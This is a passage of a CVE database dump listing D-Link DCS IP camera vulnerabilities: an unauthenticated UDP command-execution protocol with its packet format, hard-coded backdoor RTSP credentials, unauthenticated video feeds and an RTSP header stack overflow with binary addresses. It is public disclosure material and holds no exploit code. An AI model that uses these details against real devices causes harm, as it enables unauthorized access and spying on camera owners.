"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device runs a custom daemon on UDP port 5978 which is called \"dldps2121\" and listens for broadcast packets sent on 255.255.255.255. This daemon handles custom D-Link UDP based protocol that allows D-Link mobile applications and desktop applications to discover D-Link devices on the local network. The binary processes the received UDP packets sent from any device in \"main\" function. One path in the function traverses towards a block of code that handles commands to be executed on the device. The custom protocol created by D-Link follows the following pattern: Packetlen, Type of packet; M=MAC address of device or broadcast; D=Device Type;C=base64 encoded command string;test=1111. If a packet is received with the packet type being \"S\" or 0x53 then the string passed in the \"C\" parameter is base64 decoded and then executed by passing into a System API. We can see at address 0x00009B44 that the string received in packet type subtracts 0x31 or \"1\" from the packet type and is compared against 0x22 or \"double quotes\". If that is the case, then the packet is sent towards the block of code that executes a command. Then the value stored in \"C\" parameter is extracted at address 0x0000A1B0. Finally, the string received is base 64 decoded and passed on to the system API at address 0x0000A2A8 as shown below. The same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third-party application on the device to execute commands on the device without any authentication by sending just 1 UDP packet with custom base64 encoding."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-07-02T20:19:39",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-8413",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The device runs a custom daemon on UDP port 5978 which is called \"dldps2121\" and listens for broadcast packets sent on 255.255.255.255. This daemon handles custom D-Link UDP based protocol that allows D-Link mobile applications and desktop applications to discover D-Link devices on the local network. The binary processes the received UDP packets sent from any device in \"main\" function. One path in the function traverses towards a block of code that handles commands to be executed on the device. The custom protocol created by D-Link follows the following pattern: Packetlen, Type of packet; M=MAC address of device or broadcast; D=Device Type;C=base64 encoded command string;test=1111. If a packet is received with the packet type being \"S\" or 0x53 then the string passed in the \"C\" parameter is base64 decoded and then executed by passing into a System API. We can see at address 0x00009B44 that the string received in packet type subtracts 0x31 or \"1\" from the packet type and is compared against 0x22 or \"double quotes\". If that is the case, then the packet is sent towards the block of code that executes a command. Then the value stored in \"C\" parameter is extracted at address 0x0000A1B0. Finally, the string received is base 64 decoded and passed on to the system API at address 0x0000A2A8 as shown below. The same form of communication can be initiated by any process including an attacker process on the mobile phone or the desktop and this allows a third-party application on the device to execute commands on the device without any authentication by sending just 1 UDP packet with custom base64 encoding."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "20190609 Newly releases IoT security issues",
"refsource": "BUGTRAQ",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"name": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html",
"refsource": "MISC",
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"name": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf",
"refsource": "MISC",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-8413",
"datePublished": "2019-07-02T20:19:08",
"dateReserved": "2017-05-02T00:00:00",
"dateUpdated": "2024-08-05T16:34:23.073Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2013-1602
Vulnerability from cvelistv5
Published
2020-01-28 21:13
Modified
2024-08-06 15:04
Severity ?
EPSS score ?
Summary
An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams.
References
| ▼ | URL | Tags |
|---|---|---|
| http://www.securityfocus.com/bid/59569 | x_refsource_MISC | |
| https://exchange.xforce.ibmcloud.com/vulnerabilities/83942 | x_refsource_MISC | |
| https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities | x_refsource_MISC | |
| https://packetstormsecurity.com/files/cve/CVE-2013-1602 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T15:04:49.536Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/59569"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83942"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1602"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2013-04-29T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2020-01-28T21:13:06",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "http://www.securityfocus.com/bid/59569"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83942"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1602"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2013-1602",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An Information Disclosure vulnerability exists due to insufficient validation of authentication cookies for the RTSP session in D-Link DCS-5635 1.01, DCS-1100L 1.04, DCS-1130L 1.04, DCS-1100 1.03/1.04_US, DCS-1130 1.03/1.04_US , DCS-2102 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-2121 1.05_RU/1.06/1.06_FR/1.05_TESCO, DCS-3410 1.02, DCS-5230 1.02, DCS-5230L 1.02, DCS-6410 1.0, DCS-7410 1.0, DCS-7510 1.0, and WCS-1100 1.02, which could let a malicious user obtain unauthorized access to video streams."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "http://www.securityfocus.com/bid/59569",
"refsource": "MISC",
"url": "http://www.securityfocus.com/bid/59569"
},
{
"name": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83942",
"refsource": "MISC",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83942"
},
{
"name": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities",
"refsource": "MISC",
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"name": "https://packetstormsecurity.com/files/cve/CVE-2013-1602",
"refsource": "MISC",
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1602"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2013-1602",
"datePublished": "2020-01-28T21:13:06",
"dateReserved": "2013-02-04T00:00:00",
"dateUpdated": "2024-08-06T15:04:49.536Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2017-8409
Vulnerability from cvelistv5
Published
2019-07-02 19:09
Modified
2024-08-05 16:34
Severity ?
EPSS score ?
Summary
An issue was discovered on D-Link DCS-1130 devices. The device requires that a user logging to the device to provide a username and password. However, the device does not enforce the same restriction on a specific URL thereby allowing any attacker in possession of that to view the live video feed. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there.
References
| ▼ | URL | Tags |
|---|---|---|
| https://seclists.org/bugtraq/2019/Jun/8 | mailing-list, x_refsource_BUGTRAQ | |
| http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | x_refsource_MISC | |
| https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:34:22.839Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ",
"x_transferred"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2019-06-07T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device requires that a user logging to the device to provide a username and password. However, the device does not enforce the same restriction on a specific URL thereby allowing any attacker in possession of that to view the live video feed. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-07-02T19:10:44",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-8409",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on D-Link DCS-1130 devices. The device requires that a user logging to the device to provide a username and password. However, the device does not enforce the same restriction on a specific URL thereby allowing any attacker in possession of that to view the live video feed. The severity of this attack is enlarged by the fact that there more than 100,000 D-Link devices out there."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "20190609 Newly releases IoT security issues",
"refsource": "BUGTRAQ",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"name": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html",
"refsource": "MISC",
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"name": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf",
"refsource": "MISC",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-8409",
"datePublished": "2019-07-02T19:09:08",
"dateReserved": "2017-05-02T00:00:00",
"dateUpdated": "2024-08-05T16:34:22.839Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2013-1603
Vulnerability from cvelistv5
Published
2020-01-28 21:28
Modified
2024-08-06 15:04
Severity ?
EPSS score ?
Summary
An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream.
References
| ▼ | URL | Tags |
|---|---|---|
| http://www.securityfocus.com/bid/59571 | x_refsource_MISC | |
| https://exchange.xforce.ibmcloud.com/vulnerabilities/83940 | x_refsource_MISC | |
| https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities | x_refsource_MISC | |
| https://vuldb.com/?id.8575 | x_refsource_MISC | |
| https://packetstormsecurity.com/files/cve/CVE-2013-1603 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T15:04:49.528Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/59571"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83940"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://vuldb.com/?id.8575"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1603"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2013-04-29T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2020-01-28T21:28:28",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"tags": [
"x_refsource_MISC"
],
"url": "http://www.securityfocus.com/bid/59571"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83940"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://vuldb.com/?id.8575"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1603"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2013-1603",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An Authentication vulnerability exists in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03 due to hard-coded credentials that serve as a backdoor, which allows remote attackers to access the RTSP video stream."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "http://www.securityfocus.com/bid/59571",
"refsource": "MISC",
"url": "http://www.securityfocus.com/bid/59571"
},
{
"name": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83940",
"refsource": "MISC",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83940"
},
{
"name": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities",
"refsource": "MISC",
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"name": "https://vuldb.com/?id.8575",
"refsource": "MISC",
"url": "https://vuldb.com/?id.8575"
},
{
"name": "https://packetstormsecurity.com/files/cve/CVE-2013-1603",
"refsource": "MISC",
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1603"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2013-1603",
"datePublished": "2020-01-28T21:28:28",
"dateReserved": "2013-02-04T00:00:00",
"dateUpdated": "2024-08-06T15:04:49.528Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2017-8410
Vulnerability from cvelistv5
Published
2019-07-02 19:46
Modified
2024-08-05 16:34
Severity ?
EPSS score ?
Summary
An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The binary rtspd in /sbin folder of the device handles all the rtsp connections received by the device. It seems that the binary performs a memcpy operation at address 0x00011E34 with the value sent in the "Authorization: Basic" RTSP header and stores it on the stack. The number of bytes to be copied are calculated based on the length of the string sent in the RTSP header by the client. As a result, memcpy copies more data then it can hold on stack and this results in corrupting the registers for the caller function sub_F6CC which results in memory corruption. The severity of this attack is enlarged by the fact that the same value is then copied on the stack in the function 0x00011378 and this allows to overflow the buffer allocated and thus control the PC register which will result in arbitrary code execution on the device.
References
| ▼ | URL | Tags |
|---|---|---|
| https://seclists.org/bugtraq/2019/Jun/8 | mailing-list, x_refsource_BUGTRAQ | |
| http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html | x_refsource_MISC | |
| https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-05T16:34:22.997Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ",
"x_transferred"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2019-06-07T00:00:00",
"descriptions": [
{
"lang": "en",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The binary rtspd in /sbin folder of the device handles all the rtsp connections received by the device. It seems that the binary performs a memcpy operation at address 0x00011E34 with the value sent in the \"Authorization: Basic\" RTSP header and stores it on the stack. The number of bytes to be copied are calculated based on the length of the string sent in the RTSP header by the client. As a result, memcpy copies more data then it can hold on stack and this results in corrupting the registers for the caller function sub_F6CC which results in memory corruption. The severity of this attack is enlarged by the fact that the same value is then copied on the stack in the function 0x00011378 and this allows to overflow the buffer allocated and thus control the PC register which will result in arbitrary code execution on the device."
}
],
"problemTypes": [
{
"descriptions": [
{
"description": "n/a",
"lang": "en",
"type": "text"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2019-07-02T19:46:28",
"orgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"shortName": "mitre"
},
"references": [
{
"name": "20190609 Newly releases IoT security issues",
"tags": [
"mailing-list",
"x_refsource_BUGTRAQ"
],
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"tags": [
"x_refsource_MISC"
],
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
],
"x_legacyV4Record": {
"CVE_data_meta": {
"ASSIGNER": "cve@mitre.org",
"ID": "CVE-2017-8410",
"STATE": "PUBLIC"
},
"affects": {
"vendor": {
"vendor_data": [
{
"product": {
"product_data": [
{
"product_name": "n/a",
"version": {
"version_data": [
{
"version_value": "n/a"
}
]
}
}
]
},
"vendor_name": "n/a"
}
]
}
},
"data_format": "MITRE",
"data_type": "CVE",
"data_version": "4.0",
"description": {
"description_data": [
{
"lang": "eng",
"value": "An issue was discovered on D-Link DCS-1100 and DCS-1130 devices. The binary rtspd in /sbin folder of the device handles all the rtsp connections received by the device. It seems that the binary performs a memcpy operation at address 0x00011E34 with the value sent in the \"Authorization: Basic\" RTSP header and stores it on the stack. The number of bytes to be copied are calculated based on the length of the string sent in the RTSP header by the client. As a result, memcpy copies more data then it can hold on stack and this results in corrupting the registers for the caller function sub_F6CC which results in memory corruption. The severity of this attack is enlarged by the fact that the same value is then copied on the stack in the function 0x00011378 and this allows to overflow the buffer allocated and thus control the PC register which will result in arbitrary code execution on the device."
}
]
},
"problemtype": {
"problemtype_data": [
{
"description": [
{
"lang": "eng",
"value": "n/a"
}
]
}
]
},
"references": {
"reference_data": [
{
"name": "20190609 Newly releases IoT security issues",
"refsource": "BUGTRAQ",
"url": "https://seclists.org/bugtraq/2019/Jun/8"
},
{
"name": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html",
"refsource": "MISC",
"url": "http://packetstormsecurity.com/files/153226/Dlink-DCS-1130-Command-Injection-CSRF-Stack-Overflow.html"
},
{
"name": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf",
"refsource": "MISC",
"url": "https://github.com/ethanhunnt/IoT_vulnerabilities/blob/master/Dlink_DCS_1130_security.pdf"
}
]
}
}
}
},
"cveMetadata": {
"assignerOrgId": "8254265b-2729-46b6-b9e3-3dfca2d5bfca",
"assignerShortName": "mitre",
"cveId": "CVE-2017-8410",
"datePublished": "2019-07-02T19:46:07",
"dateReserved": "2017-05-02T00:00:00",
"dateUpdated": "2024-08-05T16:34:22.997Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.1"
}
cve-2013-1601
Vulnerability from cvelistv5
Published
2020-01-28 20:50
Modified
2024-08-06 15:04
Severity ?
EPSS score ?
Summary
An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK An Information Disclosure vulnerability exists due to a failure to restrict access on the lums.cgi script when processing a live video stream in D-LINK WCS-1100 1.02, TESCO DCS-2121 1.05_TESCO, TESCO DCS-2102 1.05_TESCO, DCS-7510 1.00, DCS-7410 1.00, DCS-6410 1.00, DCS-5635 1.01, DCS-5605 1.01, DCS-5230L 1.02, DCS-5230 1.02, DCS-3430 1.02, DCS-3411 1.02, DCS-3410 1.02, DCS-2121 1.06_FR, DCS-2121 1.06, DCS-2121 1.05_RU, DCS-2102 1.06_FR, DCS-2102 1.06, DCS-2102 1.05_RU, DCS-1130L 1.04, DCS-1130 1.04_US, DCS-1130 1.03, DCS-1100L 1.04, DCS-1100 1.04_US, and DCS-1100 1.03, which could let a malicious user obtain sensitive information. which could let a malicious user obtain sensitive information.
References
| ▼ | URL | Tags |
|---|---|---|
| http://www.securityfocus.com/bid/59570 | x_refsource_MISC | |
| https://exchange.xforce.ibmcloud.com/vulnerabilities/83939 | x_refsource_MISC | |
| https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities | x_refsource_MISC | |
| https://packetstormsecurity.com/files/cve/CVE-2013-1601 | x_refsource_MISC | |
| https://vuldb.com/?id.8573 | x_refsource_MISC |
{
"containers": {
"adp": [
{
"providerMetadata": {
"dateUpdated": "2024-08-06T15:04:49.526Z",
"orgId": "af854a3a-2127-422b-91ae-364da2661108",
"shortName": "CVE"
},
"references": [
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "http://www.securityfocus.com/bid/59570"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/83939"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://packetstormsecurity.com/files/cve/CVE-2013-1601"
},
{
"tags": [
"x_refsource_MISC",
"x_transferred"
],
"url": "https://vuldb.com/?id.8573"
}
],
"title": "CVE Program Container"
}
],
"cna": {
"affected": [
{
"product": "n/a",
"vendor": "n/a",
"versions": [
{
"status": "affected",
"version": "n/a"
}
]
}
],
"datePublic": "2013-04-29T00:00:00",
"descriptions": [
{
"lang": "en",
